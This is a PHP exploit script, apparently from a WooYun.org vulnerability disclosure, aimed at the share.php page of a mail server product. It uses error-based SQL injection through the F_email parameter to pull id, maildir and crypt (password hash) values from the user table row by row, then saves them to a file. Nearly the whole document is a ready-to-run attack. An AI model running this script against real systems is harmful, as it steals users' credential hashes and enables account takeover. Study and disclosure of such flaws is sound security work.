WooYun.org

<?php





    if ( ! isset($argv[1]))


    {


	    exit("\nUsage: php {$argv[0]} http://**.**.**.** 0\n\n");


    }





    $target = $argv[1];





    $start = $argv[2];





    $cols = array('id', 'maildir', 'crypt');


    $uri_template = "/share.php?F_email=1%27+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+{col}+from+user+limit+{num},1)),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/360_test";





    $match_regex = "/Duplicate entry '\|(.*)\|1' for key/";





    $filename = 'anymacro_'. md5($target) . '.txt';





    $end = FALSE;


    $i = $start;


    while ( ! $end)


    {


	    $uri = str_replace('{num}', $i, $uri_template);





	    $line = $i;


	    echo "[$i]";


	    foreach ($cols AS $col)


	    {


		    $url = $target . str_replace('{col}', $col, $uri);


		    $data = file_get_contents($url);


		    if (preg_match($match_regex, $data, $match))


		    {


			    //print_r($match);


			    echo " {$match[1]}";


			    $line .= " {$match[1]}";


		    }


		    else


		    {


			    $end = TRUE;


		    }


		    //echo $data;


		    //exit;


	    }





	    $line .= "\n";


	    echo "\n";





	    file_put_contents($filename, $line, FILE_APPEND);





	    $i++;


    }





    echo "\n\n-------------------------------------------\nEND~~~\n";